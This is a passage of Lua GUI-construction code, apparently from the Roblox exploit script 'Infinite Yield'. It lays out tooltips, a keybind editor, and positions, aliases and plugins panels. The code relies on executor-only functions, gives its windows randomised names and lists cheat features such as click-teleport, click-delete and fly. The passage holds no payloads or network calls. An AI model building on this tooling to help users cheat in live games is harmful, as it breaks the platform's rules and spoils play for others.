CloseButton.Text = ""
CloseButton.ZIndex = 10
CloseImage.Parent = CloseButton
CloseImage.BackgroundColor3 = Color3.new(1, 1, 1)
CloseImage.BackgroundTransparency = 1
CloseImage.Position = UDim2.new(0, 5, 0, 5)
CloseImage.Size = UDim2.new(0, 10, 0, 10)
CloseImage.Image = getcustomasset("infiniteyield/assets/close.png")
CloseImage.ZIndex = 10
PinButton.Name = "PinButton"
PinButton.Parent = Notification
PinButton.BackgroundTransparency = 1
PinButton.Size = UDim2.new(0, 20, 0, 20)
PinButton.ZIndex = 10
PinButton.Text = ""
PinImage.Parent = PinButton
PinImage.BackgroundColor3 = Color3.new(1, 1, 1)
PinImage.BackgroundTransparency = 1
PinImage.Position = UDim2.new(0, 3, 0, 3)
PinImage.Size = UDim2.new(0, 14, 0, 14)
PinImage.ZIndex = 10
PinImage.Image = getcustomasset("infiniteyield/assets/pin.png")
Tooltip.Name = randomString()
Tooltip.Parent = ScaledHolder
Tooltip.Active = true
Tooltip.BackgroundColor3 = Color3.fromRGB(36, 36, 37)
Tooltip.BackgroundTransparency = 0.1
Tooltip.BorderSizePixel = 0
Tooltip.Size = UDim2.new(0, 200, 0, 96)
Tooltip.Visible = false
Tooltip.ZIndex = 10
table.insert(shade1,Tooltip)
Title_3.Name = "Title"
Title_3.Parent = Tooltip
Title_3.BackgroundColor3 = Color3.fromRGB(46, 46, 47)
Title_3.BackgroundTransparency = 0.1
Title_3.BorderSizePixel = 0
Title_3.Size = UDim2.new(0, 200, 0, 20)
Title_3.Font = Enum.Font.SourceSans
Title_3.TextSize = 14
Title_3.Text = ""
Title_3.TextColor3 = Color3.new(1, 1, 1)
Title_3.TextTransparency = 0.1
Title_3.ZIndex = 10
table.insert(shade2,Title_3)
table.insert(text1,Title_3)
Description.Name = "Description"
Description.Parent = Tooltip
Description.BackgroundTransparency = 1
Description.BorderSizePixel = 0
Description.Size = UDim2.new(0,180,0,72)
Description.Position = UDim2.new(0,10,0,18)
Description.Font = Enum.Font.SourceSans
Description.TextSize = 16
Description.Text = ""
Description.TextColor3 = Color3.new(1, 1, 1)
Description.TextTransparency = 0.1
Description.TextWrapped = true
Description.ZIndex = 10
table.insert(text1,Description)
IntroBackground.Name = "IntroBackground"
IntroBackground.Parent = Holder
IntroBackground.Active = true
IntroBackground.BackgroundColor3 = Color3.fromRGB(36, 36, 37)
IntroBackground.BorderSizePixel = 0
IntroBackground.Position = UDim2.new(0, 0, 0, 45)
IntroBackground.Size = UDim2.new(0, 250, 0, 175)
IntroBackground.ZIndex = 10
Logo.Name = "Logo"
Logo.Parent = Holder
Logo.BackgroundTransparency = 1
Logo.BorderSizePixel = 0
Logo.Position = UDim2.new(0, 125, 0, 127)
Logo.Size = UDim2.new(0, 10, 0, 10)
Logo.Image = getcustomasset("infiniteyield/assets/logo.png")
Logo.ImageTransparency = 0
Logo.ZIndex = 10
Credits.Name = "Credits"
Credits.Parent = Holder
Credits.BackgroundTransparency = 1
Credits.BorderSizePixel = 0
Credits.Position = UDim2.new(0, 0, 0.9, 30)
Credits.Size = UDim2.new(0, 250, 0, 20)
Credits.Font = Enum.Font.SourceSansLight
Credits.FontSize = Enum.FontSize.Size14
Credits.Text = "Edge // Zwolf // Moon // Toon // Peyton // ATP"
Credits.TextColor3 = Color3.new(1, 1, 1)
Credits.ZIndex = 10
KeybindsFrame.Name = "KeybindsFrame"
KeybindsFrame.Parent = Settings
KeybindsFrame.Active = true
KeybindsFrame.BackgroundColor3 = Color3.fromRGB(36, 36, 37)
KeybindsFrame.BorderSizePixel = 0
KeybindsFrame.Position = UDim2.new(0, 0, 0, 175)
KeybindsFrame.Size = UDim2.new(0, 250, 0, 175)
KeybindsFrame.ZIndex = 10
table.insert(shade1,KeybindsFrame)
Close.Name = "Close"
Close.Parent = KeybindsFrame
Close.BackgroundColor3 = Color3.fromRGB(46, 46, 47)
Close.BorderSizePixel = 0
Close.Position = UDim2.new(0, 205, 0, 150)
Close.Size = UDim2.new(0, 40, 0, 20)
Close.Font = Enum.Font.SourceSans
Close.TextSize = 14
Close.Text = "Close"
Close.TextColor3 = Color3.new(1, 1, 1)
Close.ZIndex = 10
table.insert(shade2,Close)
table.insert(text1,Close)
Add.Name = "Add"
Add.Parent = KeybindsFrame
Add.BackgroundColor3 = Color3.fromRGB(46, 46, 47)
Add.BorderSizePixel = 0
Add.Position = UDim2.new(0, 5, 0, 150)
Add.Size = UDim2.new(0, 40, 0, 20)
Add.Font = Enum.Font.SourceSans
Add.TextSize = 14
Add.Text = "Add"
Add.TextColor3 = Color3.new(1, 1, 1)
Add.ZIndex = 10
table.insert(shade2,Add)
table.insert(text1,Add)
Delete.Name = "Delete"
Delete.Parent = KeybindsFrame
Delete.BackgroundColor3 = Color3.fromRGB(46, 46, 47)
Delete.BorderSizePixel = 0
Delete.Position = UDim2.new(0, 50, 0, 150)
Delete.Size = UDim2.new(0, 40, 0, 20)
Delete.Font = Enum.Font.SourceSans
Delete.TextSize = 14
Delete.Text = "Clear"
Delete.TextColor3 = Color3.new(1, 1, 1)
Delete.ZIndex = 10
table.insert(shade2,Delete)
table.insert(text1,Delete)
Holder_2.Name = "Holder"
Holder_2.Parent = KeybindsFrame
Holder_2.BackgroundTransparency = 1
Holder_2.BorderSizePixel = 0
Holder_2.Position = UDim2.new(0, 0, 0, 0)
Holder_2.Size = UDim2.new(0, 250, 0, 145)
Holder_2.ScrollBarImageColor3 = Color3.fromRGB(78,78,79)
Holder_2.BottomImage = "rbxasset://textures/ui/Scroll/scroll-middle.png"
Holder_2.CanvasSize = UDim2.new(0, 0, 0, 0)
Holder_2.MidImage = "rbxasset://textures/ui/Scroll/scroll-middle.png"
Holder_2.ScrollBarThickness = 0
Holder_2.TopImage = "rbxasset://textures/ui/Scroll/scroll-middle.png"
Holder_2.VerticalScrollBarInset = 'Always'
Holder_2.ZIndex = 10
Example_2.Name = "Example"
Example_2.Parent = KeybindsFrame
Example_2.BackgroundColor3 = Color3.fromRGB(46, 46, 47)
Example_2.BorderSizePixel = 0
Example_2.Size = UDim2.new(0, 10, 0, 20)
Example_2.Visible = false
Example_2.ZIndex = 10
table.insert(shade2,Example_2)
Text_3.Name = "Text"
Text_3.Parent = Example_2
Text_3.BackgroundColor3 = Color3.fromRGB(46, 46, 47)
Text_3.BorderSizePixel = 0
Text_3.Position = UDim2.new(0, 10, 0, 0)
Text_3.Size = UDim2.new(0, 240, 0, 20)
Text_3.Font = Enum.Font.SourceSans
Text_3.TextSize = 14
Text_3.Text = "nom"
Text_3.TextColor3 = Color3.new(1, 1, 1)
Text_3.TextXAlignment = Enum.TextXAlignment.Left
Text_3.ZIndex = 10
table.insert(shade2,Text_3)
table.insert(text1,Text_3)
Delete_2.Name = "Delete"
Delete_2.Parent = Text_3
Delete_2.BackgroundColor3 = Color3.fromRGB(78, 78, 79)
Delete_2.BorderSizePixel = 0
Delete_2.Position = UDim2.new(0, 200, 0, 0)
Delete_2.Size = UDim2.new(0, 40, 0, 20)
Delete_2.Font = Enum.Font.SourceSans
Delete_2.TextSize = 14
Delete_2.Text = "Delete"
Delete_2.TextColor3 = Color3.new(0, 0, 0)
Delete_2.ZIndex = 10
table.insert(shade3,Delete_2)
table.insert(text2,Delete_2)
KeybindEditor.Name = randomString()
KeybindEditor.Parent = ScaledHolder
KeybindEditor.Active = true
KeybindEditor.BackgroundTransparency = 1
KeybindEditor.Position = UDim2.new(0.5, -180, 0, -500)
KeybindEditor.Size = UDim2.new(0, 360, 0, 20)
KeybindEditor.ZIndex = 10
background_2.Name = "background"
background_2.Parent = KeybindEditor
background_2.Active = true
background_2.BackgroundColor3 = Color3.fromRGB(36, 36, 37)
background_2.BorderSizePixel = 0
background_2.Position = UDim2.new(0, 0, 0, 20)
background_2.Size = UDim2.new(0, 360, 0, 185)
background_2.ZIndex = 10
table.insert(shade1,background_2)
Dark_3.Name = "Dark"
Dark_3.Parent = background_2
Dark_3.Active = true
Dark_3.BackgroundColor3 = Color3.fromRGB(46, 46, 47)
Dark_3.BorderSizePixel = 0
Dark_3.Position = UDim2.new(0, 135, 0, 0)
Dark_3.Size = UDim2.new(0, 2, 0, 185)
Dark_3.ZIndex = 10
table.insert(shade2,Dark_3)
Directions.Name = "Directions"
Directions.Parent = background_2
Directions.BackgroundTransparency = 1
Directions.BorderSizePixel = 0
Directions.Position = UDim2.new(0, 10, 0, 15)
Directions.Size = UDim2.new(0, 115, 0, 90)
Directions.ZIndex = 10
Directions.Font = Enum.Font.SourceSans
Directions.Text = "Click the button below and press a key/mouse button. Then select what you want to bind it to."
Directions.TextColor3 = Color3.fromRGB(255, 255, 255)
Directions.TextSize = 14.000
Directions.TextWrapped = true
Directions.TextYAlignment = Enum.TextYAlignment.Top
table.insert(text1,Directions)
BindTo.Name = "BindTo"
BindTo.Parent = background_2
BindTo.BackgroundColor3 = Color3.fromRGB(46, 46, 47)
BindTo.BorderSizePixel = 0
BindTo.Position = UDim2.new(0, 10, 0, 95)
BindTo.Size = UDim2.new(0, 115, 0, 50)
BindTo.ZIndex = 10
BindTo.Font = Enum.Font.SourceSans
BindTo.Text = "Click to bind"
BindTo.TextColor3 = Color3.fromRGB(255, 255, 255)
BindTo.TextSize = 16.000
table.insert(shade2,BindTo)
table.insert(text1,BindTo)
TriggerLabel.Name = "TriggerLabel"
TriggerLabel.Parent = background_2
TriggerLabel.BackgroundTransparency = 1
TriggerLabel.Position = UDim2.new(0, 10, 0, 155)
TriggerLabel.Size = UDim2.new(0, 45, 0, 20)
TriggerLabel.ZIndex = 10
TriggerLabel.Font = Enum.Font.SourceSans
TriggerLabel.Text = "Trigger:"
TriggerLabel.TextColor3 = Color3.fromRGB(255, 255, 255)
TriggerLabel.TextSize = 14.000
TriggerLabel.TextXAlignment = Enum.TextXAlignment.Left
table.insert(text1,TriggerLabel)
BindTriggerSelect.Name = "BindTo"
BindTriggerSelect.Parent = background_2
BindTriggerSelect.BackgroundColor3 = Color3.fromRGB(46, 46, 47)
BindTriggerSelect.BorderSizePixel = 0
BindTriggerSelect.Position = UDim2.new(0, 60, 0, 155)
BindTriggerSelect.Size = UDim2.new(0, 65, 0, 20)
BindTriggerSelect.ZIndex = 10
BindTriggerSelect.Font = Enum.Font.SourceSans
BindTriggerSelect.Text = "KeyDown"
BindTriggerSelect.TextColor3 = Color3.fromRGB(255, 255, 255)
BindTriggerSelect.TextSize = 16.000
table.insert(shade2,BindTriggerSelect)
table.insert(text1,BindTriggerSelect)
Add_2.Name = "Add"
Add_2.Parent = background_2
Add_2.BackgroundColor3 = Color3.fromRGB(46, 46, 47)
Add_2.BorderSizePixel = 0
Add_2.Position = UDim2.new(0, 310, 0, 35)
Add_2.Size = UDim2.new(0, 40, 0, 20)
Add_2.ZIndex = 10
Add_2.Font = Enum.Font.SourceSans
Add_2.Text = "Add"
Add_2.TextColor3 = Color3.fromRGB(255, 255, 255)
Add_2.TextSize = 14.000
table.insert(shade2,Add_2)
table.insert(text1,Add_2)
Toggles.Name = "Toggles"
Toggles.Parent = background_2
Toggles.BackgroundTransparency = 1
Toggles.BorderSizePixel = 0
Toggles.Position = UDim2.new(0, 150, 0, 125)
Toggles.Size = UDim2.new(0, 200, 0, 50)
Toggles.ZIndex = 10
Toggles.BottomImage = "rbxasset://textures/ui/Scroll/scroll-middle.png"
Toggles.CanvasSize = UDim2.new(0, 0, 0, 50)
Toggles.ScrollBarThickness = 8
Toggles.TopImage = "rbxasset://textures/ui/Scroll/scroll-middle.png"
Toggles.VerticalScrollBarInset = Enum.ScrollBarInset.Always
table.insert(scroll,Toggles)
ClickTP.Name = "Click TP (Hold Key & Click)"
ClickTP.Parent = Toggles
ClickTP.BackgroundColor3 = Color3.fromRGB(46, 46, 47)
ClickTP.BorderSizePixel = 0
ClickTP.Size = UDim2.new(0, 200, 0, 20)
ClickTP.ZIndex = 10
ClickTP.Font = Enum.Font.SourceSans
ClickTP.Text = " Click TP (Hold Key & Click)"
ClickTP.TextColor3 = Color3.fromRGB(255, 255, 255)
ClickTP.TextSize = 14.000
ClickTP.TextXAlignment = Enum.TextXAlignment.Left
table.insert(shade2,ClickTP)
table.insert(text1,ClickTP)
Select.Name = "Select"
Select.Parent = ClickTP
Select.BackgroundColor3 = Color3.fromRGB(78, 78, 79)
Select.BorderSizePixel = 0
Select.Position = UDim2.new(0, 160, 0, 0)
Select.Size = UDim2.new(0, 40, 0, 20)
Select.ZIndex = 10
Select.Font = Enum.Font.SourceSans
Select.Text = "Add"
Select.TextColor3 = Color3.fromRGB(0, 0, 0)
Select.TextSize = 14.000
table.insert(shade3,Select)
table.insert(text2,Select)
ClickDelete.Name = "Click Delete (Hold Key & Click)"
ClickDelete.Parent = Toggles
ClickDelete.BackgroundColor3 = Color3.fromRGB(46, 46, 47)
ClickDelete.BorderSizePixel = 0
ClickDelete.Position = UDim2.new(0, 0, 0, 25)
ClickDelete.Size = UDim2.new(0, 200, 0, 20)
ClickDelete.ZIndex = 10
ClickDelete.Font = Enum.Font.SourceSans
ClickDelete.Text = " Click Delete (Hold Key & Click)"
ClickDelete.TextColor3 = Color3.fromRGB(255, 255, 255)
ClickDelete.TextSize = 14.000
ClickDelete.TextXAlignment = Enum.TextXAlignment.Left
table.insert(shade2,ClickDelete)
table.insert(text1,ClickDelete)
Select_2.Name = "Select"
Select_2.Parent = ClickDelete
Select_2.BackgroundColor3 = Color3.fromRGB(78, 78, 79)
Select_2.BorderSizePixel = 0
Select_2.Position = UDim2.new(0, 160, 0, 0)
Select_2.Size = UDim2.new(0, 40, 0, 20)
Select_2.ZIndex = 10
Select_2.Font = Enum.Font.SourceSans
Select_2.Text = "Add"
Select_2.TextColor3 = Color3.fromRGB(0, 0, 0)
Select_2.TextSize = 14.000
table.insert(shade3,Select_2)
table.insert(text2,Select_2)
Cmdbar_2.Name = "Cmdbar_2"
Cmdbar_2.Parent = background_2
Cmdbar_2.BackgroundColor3 = Color3.fromRGB(46, 46, 47)
Cmdbar_2.BorderSizePixel = 0
Cmdbar_2.Position = UDim2.new(0, 150, 0, 35)
Cmdbar_2.Size = UDim2.new(0, 150, 0, 20)
Cmdbar_2.ZIndex = 10
Cmdbar_2.Font = Enum.Font.SourceSans
Cmdbar_2.PlaceholderText = "Command"
Cmdbar_2.Text = ""
Cmdbar_2.TextColor3 = Color3.fromRGB(255, 255, 255)
Cmdbar_2.TextSize = 14.000
Cmdbar_2.TextXAlignment = Enum.TextXAlignment.Left
Cmdbar_3.Name = "Cmdbar_3"
Cmdbar_3.Parent = background_2
Cmdbar_3.BackgroundColor3 = Color3.fromRGB(46, 46, 47)
Cmdbar_3.BorderSizePixel = 0
Cmdbar_3.Position = UDim2.new(0, 150, 0, 60)
Cmdbar_3.Size = UDim2.new(0, 150, 0, 20)
Cmdbar_3.ZIndex = 10
Cmdbar_3.Font = Enum.Font.SourceSans
Cmdbar_3.PlaceholderText = "Command 2"
Cmdbar_3.Text = ""
Cmdbar_3.TextColor3 = Color3.fromRGB(255, 255, 255)
Cmdbar_3.TextSize = 14.000
Cmdbar_3.TextXAlignment = Enum.TextXAlignment.Left
CreateToggle.Name = "CreateToggle"
CreateToggle.Parent = background_2
CreateToggle.BackgroundColor3 = Color3.fromRGB(46, 46, 47)
CreateToggle.BackgroundTransparency = 1
CreateToggle.BorderSizePixel = 0
CreateToggle.Position = UDim2.new(0, 152, 0, 10)
CreateToggle.Size = UDim2.new(0, 198, 0, 20)
CreateToggle.ZIndex = 10
CreateToggle.Font = Enum.Font.SourceSans
CreateToggle.Text = "Create Toggle"
CreateToggle.TextColor3 = Color3.fromRGB(255, 255, 255)
CreateToggle.TextSize = 14.000
CreateToggle.TextXAlignment = Enum.TextXAlignment.Left
table.insert(text1,CreateToggle)
Button_2.Name = "Button"
Button_2.Parent = CreateToggle
Button_2.BackgroundColor3 = Color3.fromRGB(78, 78, 79)
Button_2.BorderSizePixel = 0
Button_2.Position = UDim2.new(1, -20, 0, 0)
Button_2.Size = UDim2.new(0, 20, 0, 20)
Button_2.ZIndex = 10
table.insert(shade3,Button_2)
On_2.Name = "On"
On_2.Parent = Button_2
On_2.BackgroundColor3 = Color3.fromRGB(150, 150, 151)
On_2.BackgroundTransparency = 1
On_2.BorderSizePixel = 0
On_2.Position = UDim2.new(0, 2, 0, 2)
On_2.Size = UDim2.new(0, 16, 0, 16)
On_2.ZIndex = 10
On_2.Font = Enum.Font.SourceSans
On_2.Text = ""
On_2.TextColor3 = Color3.fromRGB(0, 0, 0)
On_2.TextSize = 14.000
shadow_2.Name = "shadow"
shadow_2.Parent = KeybindEditor
shadow_2.BackgroundColor3 = Color3.fromRGB(46, 46, 47)
shadow_2.BorderSizePixel = 0
shadow_2.Size = UDim2.new(0, 360, 0, 20)
shadow_2.ZIndex = 10
table.insert(shade2,shadow_2)
PopupText_2.Name = "PopupText_2"
PopupText_2.Parent = shadow_2
PopupText_2.BackgroundTransparency = 1
PopupText_2.Size = UDim2.new(1, 0, 0.949999988, 0)
PopupText_2.ZIndex = 10
PopupText_2.Font = Enum.Font.SourceSans
PopupText_2.Text = "Set Keybinds"
PopupText_2.TextColor3 = Color3.fromRGB(255, 255, 255)
PopupText_2.TextSize = 14.000
PopupText_2.TextWrapped = true
table.insert(text1,PopupText_2)
Exit_2.Name = "Exit_2"
Exit_2.Parent = shadow_2
Exit_2.BackgroundTransparency = 1
Exit_2.Position = UDim2.new(1, -20, 0, 0)
Exit_2.Size = UDim2.new(0, 20, 0, 20)
Exit_2.ZIndex = 10
Exit_2.Text = ""
ExitImage_2.Parent = Exit_2
ExitImage_2.BackgroundColor3 = Color3.fromRGB(255, 255, 255)
ExitImage_2.BackgroundTransparency = 1
ExitImage_2.Position = UDim2.new(0, 5, 0, 5)
ExitImage_2.Size = UDim2.new(0, 10, 0, 10)
ExitImage_2.ZIndex = 10
ExitImage_2.Image = getcustomasset("infiniteyield/assets/close.png")
PositionsFrame.Name = "PositionsFrame"
PositionsFrame.Parent = Settings
PositionsFrame.Active = true
PositionsFrame.BackgroundColor3 = Color3.fromRGB(36, 36, 37)
PositionsFrame.BorderSizePixel = 0
PositionsFrame.Size = UDim2.new(0, 250, 0, 175)
PositionsFrame.Position = UDim2.new(0, 0, 0, 175)
PositionsFrame.ZIndex = 10
table.insert(shade1,PositionsFrame)
Close_3.Name = "Close"
Close_3.Parent = PositionsFrame
Close_3.BackgroundColor3 = Color3.fromRGB(46, 46, 47)
Close_3.BorderSizePixel = 0
Close_3.Position = UDim2.new(0, 205, 0, 150)
Close_3.Size = UDim2.new(0, 40, 0, 20)
Close_3.Font = Enum.Font.SourceSans
Close_3.TextSize = 14
Close_3.Text = "Close"
Close_3.TextColor3 = Color3.new(1, 1, 1)
Close_3.ZIndex = 10
table.insert(shade2,Close_3)
table.insert(text1,Close_3)
Delete_5.Name = "Delete"
Delete_5.Parent = PositionsFrame
Delete_5.BackgroundColor3 = Color3.fromRGB(46, 46, 47)
Delete_5.BorderSizePixel = 0
Delete_5.Position = UDim2.new(0, 50, 0, 150)
Delete_5.Size = UDim2.new(0, 40, 0, 20)
Delete_5.Font = Enum.Font.SourceSans
Delete_5.TextSize = 14
Delete_5.Text = "Clear"
Delete_5.TextColor3 = Color3.new(1, 1, 1)
Delete_5.ZIndex = 10
table.insert(shade2,Delete_5)
table.insert(text1,Delete_5)
Part.Name = "PartGoto"
Part.Parent = PositionsFrame
Part.BackgroundColor3 = Color3.fromRGB(46, 46, 47)
Part.BorderSizePixel = 0
Part.Position = UDim2.new(0, 5, 0, 150)
Part.Size = UDim2.new(0, 40, 0, 20)
Part.Font = Enum.Font.SourceSans
Part.TextSize = 14
Part.Text = "Part"
Part.TextColor3 = Color3.new(1, 1, 1)
Part.ZIndex = 10
table.insert(shade2,Part)
table.insert(text1,Part)
Holder_4.Name = "Holder"
Holder_4.Parent = PositionsFrame
Holder_4.BackgroundTransparency = 1
Holder_4.BorderSizePixel = 0
Holder_4.Position = UDim2.new(0, 0, 0, 0)
Holder_4.Selectable = false
Holder_4.Size = UDim2.new(0, 250, 0, 145)
Holder_4.ScrollBarImageColor3 = Color3.fromRGB(78,78,79)
Holder_4.BottomImage = "rbxasset://textures/ui/Scroll/scroll-middle.png"
Holder_4.CanvasSize = UDim2.new(0, 0, 0, 0)
Holder_4.MidImage = "rbxasset://textures/ui/Scroll/scroll-middle.png"
Holder_4.ScrollBarThickness = 0
Holder_4.TopImage = "rbxasset://textures/ui/Scroll/scroll-middle.png"
Holder_4.VerticalScrollBarInset = 'Always'
Holder_4.ZIndex = 10
Example_4.Name = "Example"
Example_4.Parent = PositionsFrame
Example_4.BackgroundColor3 = Color3.fromRGB(46, 46, 47)
Example_4.BorderSizePixel = 0
Example_4.Size = UDim2.new(0, 10, 0, 20)
Example_4.Visible = false
Example_4.Position = UDim2.new(0, 0, 0, -5)
Example_4.ZIndex = 10
table.insert(shade2,Example_4)
Text_5.Name = "Text"
Text_5.Parent = Example_4
Text_5.BackgroundColor3 = Color3.fromRGB(46, 46, 47)
Text_5.BorderSizePixel = 0
Text_5.Position = UDim2.new(0, 10, 0, 0)
Text_5.Size = UDim2.new(0, 240, 0, 20)
Text_5.Font = Enum.Font.SourceSans
Text_5.TextSize = 14
Text_5.Text = "Position"
Text_5.TextColor3 = Color3.new(1, 1, 1)
Text_5.TextXAlignment = Enum.TextXAlignment.Left
Text_5.ZIndex = 10
table.insert(shade2,Text_5)
table.insert(text1,Text_5)
Delete_6.Name = "Delete"
Delete_6.Parent = Text_5
Delete_6.BackgroundColor3 = Color3.fromRGB(78, 78, 79)
Delete_6.BorderSizePixel = 0
Delete_6.Position = UDim2.new(0, 200, 0, 0)
Delete_6.Size = UDim2.new(0, 40, 0, 20)
Delete_6.Font = Enum.Font.SourceSans
Delete_6.TextSize = 14
Delete_6.Text = "Delete"
Delete_6.TextColor3 = Color3.new(0, 0, 0)
Delete_6.ZIndex = 10
table.insert(shade3,Delete_6)
table.insert(text2,Delete_6)
TP.Name = "TP"
TP.Parent = Text_5
TP.BackgroundColor3 = Color3.fromRGB(78, 78, 79)
TP.BorderSizePixel = 0
TP.Position = UDim2.new(0, 155, 0, 0)
TP.Size = UDim2.new(0, 40, 0, 20)
TP.Font = Enum.Font.SourceSans
TP.TextSize = 14
TP.Text = "Goto"
TP.TextColor3 = Color3.new(0, 0, 0)
TP.ZIndex = 10
table.insert(shade3,TP)
table.insert(text2,TP)
AliasesFrame.Name = "AliasesFrame"
AliasesFrame.Parent = Settings
AliasesFrame.Active = true
AliasesFrame.BackgroundColor3 = Color3.fromRGB(36, 36, 37)
AliasesFrame.BorderSizePixel = 0
AliasesFrame.Position = UDim2.new(0, 0, 0, 175)
AliasesFrame.Size = UDim2.new(0, 250, 0, 175)
AliasesFrame.ZIndex = 10
table.insert(shade1,AliasesFrame)
Close_2.Name = "Close"
Close_2.Parent = AliasesFrame
Close_2.BackgroundColor3 = Color3.fromRGB(46, 46, 47)
Close_2.BorderSizePixel = 0
Close_2.Position = UDim2.new(0, 205, 0, 150)
Close_2.Size = UDim2.new(0, 40, 0, 20)
Close_2.Font = Enum.Font.SourceSans
Close_2.TextSize = 14
Close_2.Text = "Close"
Close_2.TextColor3 = Color3.new(1, 1, 1)
Close_2.ZIndex = 10
table.insert(shade2,Close_2)
table.insert(text1,Close_2)
Delete_3.Name = "Delete"
Delete_3.Parent = AliasesFrame
Delete_3.BackgroundColor3 = Color3.fromRGB(46, 46, 47)
Delete_3.BorderSizePixel = 0
Delete_3.Position = UDim2.new(0, 5, 0, 150)
Delete_3.Size = UDim2.new(0, 40, 0, 20)
Delete_3.Font = Enum.Font.SourceSans
Delete_3.TextSize = 14
Delete_3.Text = "Clear"
Delete_3.TextColor3 = Color3.new(1, 1, 1)
Delete_3.ZIndex = 10
table.insert(shade2,Delete_3)
table.insert(text1,Delete_3)
Holder_3.Name = "Holder"
Holder_3.Parent = AliasesFrame
Holder_3.BackgroundTransparency = 1
Holder_3.BorderSizePixel = 0
Holder_3.Position = UDim2.new(0, 0, 0, 0)
Holder_3.Size = UDim2.new(0, 250, 0, 145)
Holder_3.ScrollBarImageColor3 = Color3.fromRGB(78,78,79)
Holder_3.BottomImage = "rbxasset://textures/ui/Scroll/scroll-middle.png"
Holder_3.CanvasSize = UDim2.new(0, 0, 0, 0)
Holder_3.MidImage = "rbxasset://textures/ui/Scroll/scroll-middle.png"
Holder_3.ScrollBarThickness = 0
Holder_3.TopImage = "rbxasset://textures/ui/Scroll/scroll-middle.png"
Holder_3.VerticalScrollBarInset = 'Always'
Holder_3.ZIndex = 10
Example_3.Name = "Example"
Example_3.Parent = AliasesFrame
Example_3.BackgroundColor3 = Color3.fromRGB(46, 46, 47)
Example_3.BorderSizePixel = 0
Example_3.Size = UDim2.new(0, 10, 0, 20)
Example_3.Visible = false
Example_3.ZIndex = 10
table.insert(shade2,Example_3)
Text_4.Name = "Text"
Text_4.Parent = Example_3
Text_4.BackgroundColor3 = Color3.fromRGB(46, 46, 47)
Text_4.BorderSizePixel = 0
Text_4.Position = UDim2.new(0, 10, 0, 0)
Text_4.Size = UDim2.new(0, 240, 0, 20)
Text_4.Font = Enum.Font.SourceSans
Text_4.TextSize = 14
Text_4.Text = "honk"
Text_4.TextColor3 = Color3.new(1, 1, 1)
Text_4.TextXAlignment = Enum.TextXAlignment.Left
Text_4.ZIndex = 10
table.insert(shade2,Text_4)
table.insert(text1,Text_4)
Delete_4.Name = "Delete"
Delete_4.Parent = Text_4
Delete_4.BackgroundColor3 = Color3.fromRGB(78, 78, 79)
Delete_4.BorderSizePixel = 0
Delete_4.Position = UDim2.new(0, 200, 0, 0)
Delete_4.Size = UDim2.new(0, 40, 0, 20)
Delete_4.Font = Enum.Font.SourceSans
Delete_4.TextSize = 14
Delete_4.Text = "Delete"
Delete_4.TextColor3 = Color3.new(0, 0, 0)
Delete_4.ZIndex = 10
table.insert(shade3,Delete_4)
table.insert(text2,Delete_4)
PluginsFrame.Name = "PluginsFrame"
PluginsFrame.Parent = Settings
PluginsFrame.Active = true
PluginsFrame.BackgroundColor3 = Color3.fromRGB(36, 36, 37)
PluginsFrame.BorderSizePixel = 0
PluginsFrame.Position = UDim2.new(0, 0, 0, 175)
PluginsFrame.Size = UDim2.new(0, 250, 0, 175)
PluginsFrame.ZIndex = 10
table.insert(shade1,PluginsFrame)
Close_4.Name = "Close"
Close_4.Parent = PluginsFrame
Close_4.BackgroundColor3 = Color3.fromRGB(46, 46, 47)
Close_4.BorderSizePixel = 0
Close_4.Position = UDim2.new(0, 205, 0, 150)
Close_4.Size = UDim2.new(0, 40, 0, 20)
Close_4.Font = Enum.Font.SourceSans
Close_4.TextSize = 14
Close_4.Text = "Close"
Close_4.TextColor3 = Color3.new(1, 1, 1)
Close_4.ZIndex = 10
table.insert(shade2,Close_4)
table.insert(text1,Close_4)
Add_3.Name = "Add"
Add_3.Parent = PluginsFrame
Add_3.BackgroundColor3 = Color3.fromRGB(46, 46, 47)
Add_3.BorderSizePixel = 0
Add_3.Position = UDim2.new(0, 5, 0, 150)
Add_3.Size = UDim2.new(0, 40, 0, 20)
Add_3.Font = Enum.Font.SourceSans
Add_3.TextSize = 14
Add_3.Text = "Add"
Add_3.TextColor3 = Color3.new(1, 1, 1)
Add_3.ZIndex = 10
table.insert(shade2,Add_3)
table.insert(text1,Add_3)
Holder_5.Name = "Holder"
Holder_5.Parent = PluginsFrame
Holder_5.BackgroundTransparency = 1
Holder_5.BorderSizePixel = 0
Holder_5.Position = UDim2.new(0, 0, 0, 0)
Holder_5.Selectable = false
Holder_5.Size = UDim2.new(0, 250, 0, 145)
Holder_5.ScrollBarImageColor3 = Color3.fromRGB(78,78,79)
Holder_5.BottomImage = "rbxasset://textures/ui/Scroll/scroll-middle.png"
Holder_5.CanvasSize = UDim2.new(0, 0, 0, 0)
Holder_5.MidImage = "rbxasset://textures/ui/Scroll/scroll-middle.png"
Holder_5.ScrollBarThickness = 0
Holder_5.TopImage = "rbxasset://textures/ui/Scroll/scroll-middle.png"
Holder_5.VerticalScrollBarInset = 'Always'
Holder_5.ZIndex = 10
Example_5.Name = "Example"
Example_5.Parent = PluginsFrame
Example_5.BackgroundColor3 = Color3.fromRGB(46, 46, 47)
Example_5.BorderSizePixel = 0
Example_5.Size = UDim2.new(0, 10, 0, 20)
Example_5.Visible = false
Example_5.ZIndex = 10
table.insert(shade2,Example_5)
Text_6.Name = "Text"
Text_6.Parent = Example_5
Text_6.BackgroundColor3 = Color3.fromRGB(46, 46, 47)
Text_6.BorderSizePixel = 0
Text_6.Position = UDim2.new(0, 10, 0, 0)
Text_6.Size = UDim2.new(0, 240, 0, 20)
Text_6.Font = Enum.Font.SourceSans
Text_6.TextSize = 14
Text_6.Text = "F4 > Toggle Fly"
Text_6.TextColor3 = Color3.new(1, 1, 1)
Text_6.TextXAlignment = Enum.TextXAlignment.Left
Text_6.ZIndex = 10
table.insert(shade2,Text_6)
table.insert(text1,Text_6)
Delete_7.Name = "Delete"
Delete_7.Parent = Text_6
Delete_7.BackgroundColor3 = Color3.fromRGB(78, 78, 79)
Delete_7.BorderSizePixel = 0
Delete_7.Position = UDim2.new(0, 200, 0, 0)
Delete_7.Size = UDim2.new(0, 40, 0, 20)
Delete_7.Font = Enum.Font.SourceSans
Delete_7.TextSize = 14
Delete_7.Text = "Delete"
Delete_7.TextColor3 = Color3.new(0, 0, 0)
Delete_7.ZIndex = 10
table.insert(shade3,Delete_7)
table.insert(text2,Delete_7)
PluginEditor.Name = randomString()
PluginEditor.Parent = ScaledHolder
PluginEditor.BorderSizePixel = 0
PluginEditor.Active = true
PluginEditor.BackgroundTransparency = 1
PluginEditor.Position = UDim2.new(0.5, -180, 0, -500)
